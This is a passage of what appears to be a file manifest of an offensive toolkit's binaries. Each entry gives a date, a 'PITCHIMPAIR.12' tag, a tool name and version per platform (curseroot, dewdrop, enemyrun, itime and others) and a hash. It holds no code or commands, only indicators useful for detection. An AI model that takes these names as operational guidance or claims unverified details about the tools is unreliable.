Apr 14 18:41:15 2009 [PITCHIMPAIR.12] cursemagic.sunos5.8_v.1.3.0.5 +26760620759A575F03DB3811EBF0E3E3698CF44F Wed Sep 19 12:28:40 2007 [PITCHIMPAIR.12] cursemagic.sunos5.9_v.1.1.0.3 +5DD669543CDF1C080324BE347E838C8EA9E5FE80 Fri Aug 6 14:27:12 2010 [PITCHIMPAIR.12] cursenag.sunos5.8_v.1.0.0.1 +D63912E862CAAC386EDF1581CC57D28DC88CBF00 Thu Jul 15 15:49:59 2010 [PITCHIMPAIR.12] cursequake.sunos5.8_v.1.0.0.2 +C45D7E21D425B5DFEEBB35F030101D0CE8102EFE Tue Jun 28 16:49:46 2011 [PITCHIMPAIR.12] cursequake.sunos5.8_v.1.1.0.4 +D4F511AA47D7C82A2D7BA76B73870C0A50F10FC4 Fri Jan 16 20:35:21 2009 [PITCHIMPAIR.12] curserazor.mswin32_v.1.3.0.5 +8A9C7309001627AD6463D192907453859C113705 Thu Mar 26 12:52:26 2009 [PITCHIMPAIR.12] curserazor.mswin32_v.1.3.1.8 +D02B913D9566369278A77F9F6C3BB268509C2E8E Mon Mar 12 21:15:54 2007 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.1 +C258267401EFA2A493E750D6E2F94AF05C9973A2 Thu Mar 6 19:50:10 2008 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.1.1.1 +1650D59B59E3749562571534A043AFB3FF05BA1D Mon Aug 4 15:49:51 2008 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.2.0.7 +DB3ECC5696D3785D362B0B235845EB27F6FC304C Fri Jan 16 20:35:37 2009 [PITCHIMPAIR.12] curserazor.sunos5.10_v.1.3.0.5 +62722FCEE8CB2048FE74B92FD97DF49270FE0066 Thu Mar 26 12:52:35 2009 [PITCHIMPAIR.12] curserazor.sunos5.8_v.1.3.1.8 +CE2AB103A224872A374EBD6AD16C0C63C2A82823 Thu Jan 20 19:49:56 2011 [PITCHIMPAIR.12] curserazor.sunos5.8_v.2.0.0.5 +1F36611F0A9E1B9BCF9BDE6E983FBABE628D7F33 Tue Apr 12 13:40:06 2011 [PITCHIMPAIR.12] curserazor.sunos5.8_v.2.0.1.1 +349885662B4C89A399DE5C5CC96BFFC394911E77 Thu Jan 20 19:49:56 2011 [PITCHIMPAIR.12] curserazor.win2k_v.2.0.0.5 +BB8E43C87C436F886F515BCF1439CB214C6FC726 Tue Apr 12 13:40:06 2011 [PITCHIMPAIR.12] curserazor.win2k_v.2.0.1.1 +A4EA3AE1B8981228A3645C0E7FC844FF3BFDE689 Fri Feb 13 11:34:57 2009 [PITCHIMPAIR.12] curseroot.aix5.1_v.1.2.0.2 +6438D10D5FC4D9C349B0BFA38EFD0ED5D328E6A4 Tue May 19 18:51:00 2009 [PITCHIMPAIR.12] curseroot.aix5.1_v.1.2.2.9 +D5A0ED87A0E5029AA0A8568EFD2F8ACFEFC0DC2E Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.aix5.1_v.2.0.0.3 +63BD0E5F8C55B62BA0927D6578E53167CD369387 Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.aix5.1_v.2.1.0.8 +3CF20147D62A8E021734AC42F0246E0F6B83E0DB Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.hpux11.00_v.2.1.0.8 +7466C5ED2265CA3A9C20B400FB2F848BD45A5B09 Wed Jan 6 19:52:30 2010 [PITCHIMPAIR.12] curseroot.hpuxb.11.00_v.2.0.0.3 +322B5DF8813723004AA6E91F541DEB4D510030FA Wed Jun 17 10:44:18 2009 [PITCHIMPAIR.12] curseroot.linux2.6.5-7.97-smp_v.1.2.2.9 +201F963039FDED3AA70DE84AF5DCCF47541C14DF Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.linux2.6.5-7.97-smp_v.2.0.0.3 +FC8BF37C34ABD5D0E121775795B01EB5AD2A6BD0 Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.linux2.6.5-7.97-smp_v.2.1.0.8 +B9FA6DD58B8963783BB797641C35F8504146B15C Tue Jan 20 17:56:55 2009 [PITCHIMPAIR.12] curseroot.mswin32_v.1.2.0.2 +8A3EB497162EB18437EB85DE95AD11B66B7446D6 Tue May 19 18:51:10 2009 [PITCHIMPAIR.12] curseroot.mswin32_v.1.2.2.9 +7252FCC4AE84C3A88C6DB05828B8E09F19D37147 Fri Feb 13 11:35:36 2009 [PITCHIMPAIR.12] curseroot.sunos5.8_v.1.2.0.2 +79D951876AA687ED8039D6B8A194F8DCDC0C02E1 Tue May 19 18:51:20 2009 [PITCHIMPAIR.12] curseroot.sunos5.8_v.1.2.2.9 +F992E901527ECEE524CDA9BA5F0C8F70942DB4CB Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.sunos5.8_v.2.0.0.3 +9FED741DCC06376ADDF0328F72718E8F1CD5C8A0 Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.sunos5.8_v.2.1.0.8 +A268B392B04210156950928B9FC80674E1BBAF3B Tue Aug 7 20:46:37 2007 [PITCHIMPAIR.12] curseroot.v1.1.0.3.sunos5.8_v.1.1.0.3_solaris8 +8C056E61D9379D4981F38BDC65F4344A7A2CC959 Tue Aug 7 20:47:08 2007 [PITCHIMPAIR.12] curseroot.v1.1.0.3.sunos5.9_v.1.1.0.3_solaris9 +A4EA3AE1B8981228A3645C0E7FC844FF3BFDE689 Fri Feb 13 11:34:57 2009 [PITCHIMPAIR.12] curseroot.v1.2.0.2.aix5.1_v.1.2.0.1 +B9FA6DD58B8963783BB797641C35F8504146B15C Tue Jan 20 17:56:55 2009 [PITCHIMPAIR.12] curseroot.v1.2.0.2.mswin32_v.1.2.0.1 +7252FCC4AE84C3A88C6DB05828B8E09F19D37147 Fri Feb 13 11:35:36 2009 [PITCHIMPAIR.12] curseroot.v1.2.0.2.sunos5.8_v.1.2.0.1 +7992D84590400AEA7ACCC172402AC497889A4491 Fri Dec 11 14:02:36 2009 [PITCHIMPAIR.12] curseroot.win2k_v.2.0.0.3 +9B6FC19EE920D26B7EA8F7E1B27BFF5F0BA18ABC Fri Mar 25 16:43:41 2011 [PITCHIMPAIR.12] curseroot.win2k_v.2.1.0.8 +F2814EB93164076B0DB67CCC8EDF865609524CFD Tue Oct 26 16:47:40 2010 [PITCHIMPAIR.12] curseroot_flx.win2k.i686_v.1.0.0.4 +B310FEDF0D9B19C58AAE2B35ACA73A292558D702 Thu Jul 3 14:57:47 2008 [PITCHIMPAIR.12] cursesleepy.mswin32_v.1.0.0.5 +7060A7B90CDEE01ED2EC5F2088FF3E280844DCE3 Thu Feb 18 20:59:37 2010 [PITCHIMPAIR.12] cursetails.aix5.1_v.1.0.0.1 +EC35453289E28A37E562113E9EFB582D125C5222 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.12] cursetingle.2.0.1.2.mswin32_v.2.0.1.1 +EC35453289E28A37E562113E9EFB582D125C5222 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.12] cursetingle.2.0.1.2.mswin32_v.2.0.1.1.updated +EC35453289E28A37E562113E9EFB582D125C5222 Thu Jan 21 15:37:56 2010 [PITCHIMPAIR.12] cursetingle.2.0.1.2.mswin32_v.2.0.1.2 +F7EA435175DEE6B6D9017120781FB5CB99CF5CD2 Thu Sep 18 16:41:49 2008 [PITCHIMPAIR.12] cursetingle.aix.5.1_v.1.1.1.1 +08E4FF1E990A02810623A37796B9FB82D6655F25 Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.12] cursetingle.aix.5.1_v.2.0.0.1 +275F529DC13CF184AB70B113F0FECA08D573CCFA Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.12] cursetingle.aix5.1_v.2.0.1.1 +D7F9D7433CB9E3F14C6640DE19DFCCD2CB6C295C Thu Jul 10 13:12:31 2008 [PITCHIMPAIR.12] cursetingle.mswin32_v.1.0.0.7 +9B6399503D696C83D6EA4073321A20E84B354EAE Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.12] cursetingle.mswin32_v.2.0.0.1 +41DC7887C46CCDEA6A771FF0201E29193754FCCF Thu Jul 10 13:12:39 2008 [PITCHIMPAIR.12] cursetingle.sunos.5.9_v.1.0.0.7 +EB36543FF084B04AEE005D848EE3A9568A6674CA Thu Aug 27 16:43:55 2009 [PITCHIMPAIR.12] cursetingle.sunos5.8_v.2.0.0.1 +6C869E358F34014C1A3EC859C5281871BAE2BD4F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.12] cursetingle.sunos5.8_v.2.0.1.1 +275F529DC13CF184AB70B113F0FECA08D573CCFA Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.aix5.1_v.2.0.1.1.updated +275F529DC13CF184AB70B113F0FECA08D573CCFA Fri Jan 15 13:23:16 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.aix5.1_v.2.0.1.2 +6C869E358F34014C1A3EC859C5281871BAE2BD4F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.sunos5.8_v.2.0.1.1.updated +6C869E358F34014C1A3EC859C5281871BAE2BD4F Thu Jan 21 15:37:50 2010 [PITCHIMPAIR.12] cursetingle.v2.0.1.1.sunos5.8_v.2.0.1.2 +C8C5F054286140C25FC96F82F099D76D67E136ED Thu Jul 22 13:02:03 2010 [PITCHIMPAIR.12] cursetingle_flx.aix5.1.powerpc_v.1.0.0.9 +8ABAC3C15A23BA4DDCD52114F96B4BB740EFF6B3 Wed Jun 1 14:13:18 2011 [PITCHIMPAIR.12] cursetingle_flx.aix5.1.powerpc_v.1.0.1.3 +2D05D3842733B74764362F4117212F3D39E4610D Thu Jan 7 13:12:25 2010 [PITCHIMPAIR.12] curseyo.win2k_v.1.0.0.1 +8849F4B7B2DD9F106BB1499D9474E9BEE5FF3C64 Wed Jun 16 12:12:52 2010 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.1.0.0.1 +52432EFB738D4EE975D1064BFCB0E73195991C04 Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.1.1.0.3 +6BCA7BFF280DCB01D708286E376410C438B6F9B4 Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.1.2.1.1 +D01B0DBD4496AB9C47E64272AA01EC8AAFC6D84D Tue Jul 19 16:43:11 2011 [PITCHIMPAIR.12] cursezinger.linuxrh7.3_v.2.0.0.2 +BC7C9839441097E8D1DA64E9864D0474F2452572 Wed Jun 16 13:00:05 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.0.0.1 +6E4C1302C79A610EBFA3B24BBAAFA67F438D865B Fri Sep 17 17:04:54 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.1.0.3 +9A6B894B022E311F059EFB50DDB656CEF014DF64 Wed Oct 13 12:39:38 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.2.0.1 +F6567080A506403DFA7399AA4EBCE64DD9DCDD52 Fri Oct 22 14:36:13 2010 [PITCHIMPAIR.12] cursezinger.win2k_v.1.2.1.1 +23D1A5F85A02ECDBF14FE77A7D9C256AE63A1053 Tue Jul 19 16:43:11 2011 [PITCHIMPAIR.12] cursezinger.win2k_v.2.0.0.2 +A58C9E3E5B1AC639A6984D1CA271C568C2AFDCE3 Thu Apr 14 13:12:18 2011 [PITCHIMPAIR.12] cursezinger_flx.win2k.i686_v.1.0.0.2 +F21556577E712CFDBD82DAFABD565FF2F06AAB77 Thu Apr 19 19:58:02 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.1.3_i386-pc-solaris +06B35B3FF3B5560076DF2FB1DB37241903B3205A Fri Jun 13 19:30:15 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.11.1_hppa2.0w-hp-hpux11.11 +508992D43CF9EBAA835E13B985689A7A13418D07 Tue Oct 28 23:56:50 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.12.1_x86-freebsd +F456EDCE216C434B0EAADBB6999713DDB2F2C9C9 Tue Oct 28 23:57:00 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.13.1_sparc64-freebsd +D3F3FCD1CF4B8C670D6E200442554BF9B39110E5 Tue Dec 9 01:39:13 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.15.1_sparc-sun-solaris +65286FD19C15084371A547169B376B4057643612 Tue Dec 9 01:28:04 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.15.2_x86-linux +78AA72172506B4FEBF10332AFEAF3AF4520603C3 Sat Dec 13 01:44:35 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.15.3_x86_64-linux +3D53822488B7BF47748F7539114940920AE19CB4 Thu Jun 18 00:12:09 2009 [PITCHIMPAIR.12] dewdrop__v__3.0.16.1_x86-junos-8.5 +9DC8D16026D50DD0DC6132505D2649F21B2E0FC8 Wed May 2 19:51:30 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.1_sparc-sun-solaris +8F3AADCDAD6633C9D61DFF4264CDE0D527256332 Wed May 2 19:52:04 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.2_x86-linux +AC64CB1DF0DF41576E4F6D6D3B7DA0B9DF8FF81C Wed May 2 19:52:49 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.3_i386-pc-solaris +8AF03054800215229013A659C3AF3A29832228CF Wed Aug 8 15:44:54 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.2.5_x86-freebsd-6.2 +864669F4677A2252F4BC3C7C0058AE280C6270A6 Wed Sep 19 19:27:33 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.6.1_sparc-sun-solaris +76BCA4612317018FC74D307E39A1FC177E4AE6EF Wed Sep 19 19:07:20 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.6.2_sparc-sun-solaris2.7 +A15F96C0CF6327EA9B49E2B56709D74A013673B3 Thu Nov 29 01:14:50 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.7.1_sparc-sun-solaris +46FDE6D3D52D36ADA7C5223957279AC470CFE45F Thu Nov 29 01:16:13 2007 [PITCHIMPAIR.12] dewdrop__v__3.0.7.2_x86-freebsd-6.2 +C4932A0A84653F87302EE7D8A79571FF7E75C512 Fri Feb 8 23:33:11 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.1_x86-linux +0070CD4691DA3729DBCDAB68CA2A2272860FD682 Sat Feb 9 04:38:28 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.2_sparc-sun-solaris +5E50EC1D2A2E72C98AC37FA0AF22C4E49383B785 Sat Feb 9 05:50:00 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.3_i386-pc-solaris +A96C5B8979ACD73DAEADE1CEDF99451F4071000F Sat Feb 9 05:54:46 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.8.4_sparc-sun-solaris2.7 +1900F92CAC4CF7A0C03F9F6ADB74016B6DE4183A Thu Feb 28 22:10:12 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.9.1_x86_64-linux +34DF2F3A3F16508EB757137EBAC74D6A49244E8E Fri Mar 7 13:03:04 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.9.2_x86-freebsd-6 +A1B5526261076B61BC971C9B4D8C3859EE4F76EF Fri Mar 7 13:16:12 2008 [PITCHIMPAIR.12] dewdrop__v__3.0.9.3_x86-freebsd-5 +EB7B408650C18341B1D0EFB17A42ECA87C229698 Tue Oct 20 17:28:25 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.1.2_x86-junos +233FAC7D6148DF457387A18FBBC78B3FB86E4D5C Fri Oct 30 23:16:04 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.1_x86-linux +33B597FAFD224879AB0DD9D5FDF91B1257B539BD Fri Oct 30 23:11:51 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.3_sparc-sun-solaris +9C91B749995FC06E9C667A294E62262A30FB2B65 Fri Oct 30 23:14:11 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.4_x86-freebsd +2D9546346FB4EB3F02D7B1F8298F4BC4B0EEACC7 Fri Nov 13 22:08:41 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.5_x86_64-linux +7C04AE4E1E7812715A51FA84D46506DA0754F637 Wed Nov 18 19:55:45 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.6_i386-pc-solaris +A7C7A92D479DA534D62883FB334FD876F2D2F009 Thu Nov 19 20:41:38 2009 [PITCHIMPAIR.12] dewdrop__v__3.1.3.7_sparc-sun-solaris2.7 +BE038483277659D146ADA15647D40BD8A801CD4D Tue Mar 9 22:30:03 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.6.1_x86-linux +A2A0715E64D9727B0CE4F2288B39CB0DA523F9E6 Tue Mar 30 13:50:49 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.7.2_x86_64-linux +AD2747C358E02A45E9D7726C7CBDB98D6199BBA8 Thu May 6 16:38:03 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.8.1_x86-linux +E2D1FFD5F36655EC7221B60DFC566A00A32A63BA Thu May 6 15:23:15 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.8.2_x86_64-linux +D2FE64432606C98E73414B994902508FA07F4176 Thu Sep 9 12:41:48 2010 [PITCHIMPAIR.12] dewdrop__v__3.1.8.3_ia64-hp-hpux11.23 +C50DD26C008F52046F3F3127C3E8921F2F682343 Fri Sep 3 21:38:44 2010 [PITCHIMPAIR.12] dewdrop__v__3.2.0.1_x86_64-freebsd +33C1FAAB5DC19FBC3050E74F87E67526BC9FD325 Fri Feb 11 21:31:01 2011 [PITCHIMPAIR.12] dewdrop__v__3.2.1.1_x86-junos +A34D477291C7D3B79899C2761973D3746AA716FF Wed Oct 14 17:39:58 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.1_i386-linux +D01451E5E34FCFE4E2F3BB35E3E56A3B0AD7706E Wed Oct 14 17:41:01 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.2_sparc-solaris8-10 +D01451E5E34FCFE4E2F3BB35E3E56A3B0AD7706E Thu Oct 15 19:02:54 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.3_sparc-solaris-gcc +6A11F1FF7FCE422E99EE84A054D51C25E587CA9E Thu Oct 15 19:03:10 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.4_i386-freebsd-gcc +BA39E8C3D9B53F4B99D417664C2CB168DACD24FB Thu Oct 15 19:11:28 2009 [PITCHIMPAIR.12] Dewdrop_3.1.0.X_README +B3D73B297EAD170FF794200BBD937559273B827E Tue Nov 21 13:22:42 2006 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.2.0 +995E8CB7297D918ADCF2CC73DE3E02870F2E2610 Thu Jun 14 15:14:47 2007 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.2.3.1.3 +8925A64B042AC51FD9D8112D10269CBDE6A60C8D Thu Aug 7 18:32:21 2008 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.3.0.0.1 +18B57F98F1D17260E732E3BCA7C4741F29E20F04 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.00_v.3.1.1.4 +C10D0DACA133484602A4CEE0731CBDD0C1F91614 Tue Nov 21 13:23:59 2006 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.11_v.2.0 +95F0010C4DAC390B86A1BC8AC750B9FB09B127F1 Wed Mar 12 16:24:55 2008 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.11_v.2.3.2.2 +778D0D1B0881148C9A2429EC53BAC7F462D4E448 Thu Aug 7 18:32:30 2008 [PITCHIMPAIR.12] enemyrun.hp-uxb.11.11_v.3.0.0.1 +FE6472A06744737187AB6BF9C541362DFB13C615 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.hpux11.00.parisc_v.3.2.0.1 +CE204B19B57D06E68C8BAB5705F87E35732C4FE6 Thu Jan 29 16:38:35 2009 [PITCHIMPAIR.12] enemyrun.linux2.4.21-37.elsmp_v.3.1.0.2 +88F63349411F0263B58E96E96AA1701AFF29D5C5 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.12] enemyrun.linux2.4.21-37.elsmp_v.3.1.1.4 +A9B5F528CA6D7C07C8A886AE6600309C7D92BE2A Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.linuxrhe3.6.i686_v.3.2.0.1 +1795F7CBDD912BC708C10543B865A81116A79022 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.linuxrhl7.3.i686_v.3.2.0.1 +24BB76B1F4760BFF5A11BE9E64A7875A3B2BAAED Mon Nov 9 12:33:26 2009 [PITCHIMPAIR.12] enemyrun.rhl7.3_v.3.1.1.5 +2E145764FB52ED774AFCDFDB9B802587367901FF Tue Apr 13 11:38:33 2010 [PITCHIMPAIR.12] enemyrun.sunos.8.i386_v.3.1.1.6 +236D1446715D6794E6D4218A61F975AF284A3983 Thu Aug 7 18:32:38 2008 [PITCHIMPAIR.12] enemyrun.sunos5.10_v.3.0.0.1 +F1DA6A10245538A9DA6801B0610EED697B9544E9 Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.sunos5.8.i386_v.3.2.0.1 +64E154C2E4E8AE0FC8C6B3E647689A478ADA868E Wed Jun 23 15:18:34 2010 [PITCHIMPAIR.12] enemyrun.sunos5.8.sparc_v.3.2.0.1 +F1E00D94CAC9377546FB1E0172A1316A0F5C0D0C Tue Nov 21 13:24:25 2006 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.0 +20439C65F4866385D9F21C7D46CD2585B7B9B04C Thu Mar 8 21:22:28 2007 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.2 +2F25A62C3FEE96EA5701EEBD44D0B059B68A9A38 Wed Apr 11 19:57:36 2007 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.3 +BD2E4B80BCA2E0448A10B49C9211E962C7F531BA Thu Jun 14 15:15:32 2007 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.2.3.1.3 +9CEA4BD6BC1CE05D92DDBFF0EA69906834F4C94B Thu Aug 7 18:33:09 2008 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.3.0.0.1 +C46F5A9FB3621E1979B7B270C2C06AA85AA71271 Tue Sep 15 12:14:02 2009 [PITCHIMPAIR.12] enemyrun.sunos5.8_v.3.1.1.4 +2045B10C07F3EBF465F3E438D4F1FDA503FC404A Tue Nov 21 13:24:51 2006 [PITCHIMPAIR.12] enemyrun.sunos5.9_v.2.0 +C716B4A5127803FDFD1350172AF279D7CBB0452A Thu Aug 7 18:33:19 2008 [PITCHIMPAIR.12] enemyrun.sunos5.9_v.3.0.0.1 +D893E731F29164C7FABF6F3096BA8548A314AADF Wed Apr 2 19:58:32 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.hp-uxb.11.00_v.2.3.2.2_hp-ux_11.0 +5DBDF318FC7A3B25620641BF56A19E938A296B51 Wed Apr 2 20:05:08 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.sunos5.10_v.2.3.2.2_solaris_10 +F58F23357B7F6516ACAF7576FA1C8563D4958415 Wed Apr 2 20:00:36 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.sunos5.8_v.2.3.2.2_solaris_8 +B1A7F0711AD6F92C1C99B0CDAAF853DC5B480C84 Wed Apr 2 20:03:42 2008 [PITCHIMPAIR.12] enemyrun.v2.3.2.2.sunos5.9_v.2.3.2.2_solaris_9 +84CD55CD68A8A0EDF3648A245CBB1D0C78C984FF Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.i386-pc-solaris2.6 +CAD61FCFB3F168F3DC787673FE4B869F76D099B6 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.i386-unknown-freebsd4.0 +7FC81026258CBF9EED9CBBB4988A8508BD745F1A Thu May 8 14:56:00 2008 [PITCHIMPAIR.12] forkpty.i386-unknown-freebsd6.0 +AF04CC09AB779167D7BFB2CA7FF1669613A8555F Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.i586-pc-linux-gnu +FB3D6B43DA8C8CF0A490AB1FF50DF360CBFA9641 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.sparc-sun-solaris2.6 +6DC81917B194C729182613157407541020D17C1B Tue Apr 27 14:53:47 2010 [PITCHIMPAIR.12] forkpty.x86_64-unknown-linux-gnu +DD6AE0790E2C1B0238207B3EAC6A1056C2498289 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime-it.sparc-sun-solaris2.8 +429426C91E29E6F10308AA2891A8C9D409E4EF34 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime-it.sparc-sun-solaris2.8_sparcv9 +6B182A140BE5FBB8F107098CF84B287DABF7B46F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.hppa1.1-hp-hpux10.20 +6B182A140BE5FBB8F107098CF84B287DABF7B46F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.hppa2.0-hp-hpux10.20 +5758A9810DE2C5D5D38FB7C1B25D998FEF4B9162 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.hppa2.0w-hp-hpux11.00 +02B15A67552117761A98E7739A27CE88CC76EC57 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.hppa2.0w-hp-hpux11.11 +F6845C5A20AAFB6CD0BB19717E0E6ED233077E3F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.6 +6746A83B3A1A183176AF6E4C91E655ACBFBE62DE Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.7 +CD7E19ADD74185055260785DE7C9B6D21B652FFD Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.8 +7FCC02F17A5DE726E1041473DD81BEAD4EF82864 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.9 +B60BE45F9408ED3AA6A01AD8AF387B2509939C4F Thu Sep 8 17:52:46 2011 [PITCHIMPAIR.12] itime.i686-pc-linux-gnu-2.2.14-5.0 +C5535FFFF8C0BE53EF70118ABDF22B854C0B9D3E Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i686-pc-linux-gnulibc1-slackware-4.0.0 +8865D56AEFBBF87D68050F47271E381EE3590318 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.powerpc-ibm-aix4.3.2.0 +51C484A0FEA159D974546A9F19B54FDEDBD9B674 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.4 +704A11F63FC852123ADCD9DA235E848CECF560B6 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.5 +B50B7AC932A9173A7F1456344EFC40DFED33E0AA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.5.1 +32D715337ABB761BBCD9783D9738C80DC5CD1004 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.6 +781904F6ADF855A064006033776E33EAE2D31158 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.7 +31A410F638AE2A7225FA8D77C17086948942CC15 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.7_sparcv9 +DD6AE0790E2C1B0238207B3EAC6A1056C2498289 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.8 +429426C91E29E6F10308AA2891A8C9D409E4EF34 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.8_sparcv9 +F6A5CD0BBB29CA644F6354E3F6942A7D72229275 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.9 +E4A4E3157EB6F68F2CC93E45187E85405D176A72 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.9_sparcv9 +58FCC0746EEE57F6EBF964702A7D30CF107CBDCD Fri Oct 13 17:24:37 2006 [PITCHIMPAIR.12] jlhelper.debian.sparc +2054077215C879800BEC43A2C48620EFBB3297DB Wed May 10 18:36:39 2006 [PITCHIMPAIR.12] jlhelper.suse.x86_64 +7351950BCB494DA867374BF725C757F80C2EB8D0 Fri Mar 30 18:55:12 2007 [PITCHIMPAIR.12] orleans_stride.0.0.sunos5.8_v.2.3 +DD0AC5AA8F47AD681C486863DF4D26614C799199 Thu Jul 26 17:24:14 2007 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.4.0.2 +CDF7E474E7807FF17B3FE6AB1387D373F036CC86 Tue Nov 25 14:31:56 2008 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.5.0.2 +65E152D60D795D572D5743D3ECC22DE827D82B1E Fri May 15 14:09:10 2009 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.5.1.9 +24E26751DCEB9199141EF898844305FE1F1F3271 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.5.2.7 +FC17BF018A02B75A5E2A21CFE560361AE4CE5A76 Fri Jul 9 13:35:28 2010 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.3.0.0.1 +902F95FB45F04D92C634FDE728776802B42723DF Tue Apr 26 11:10:48 2011 [PITCHIMPAIR.12] 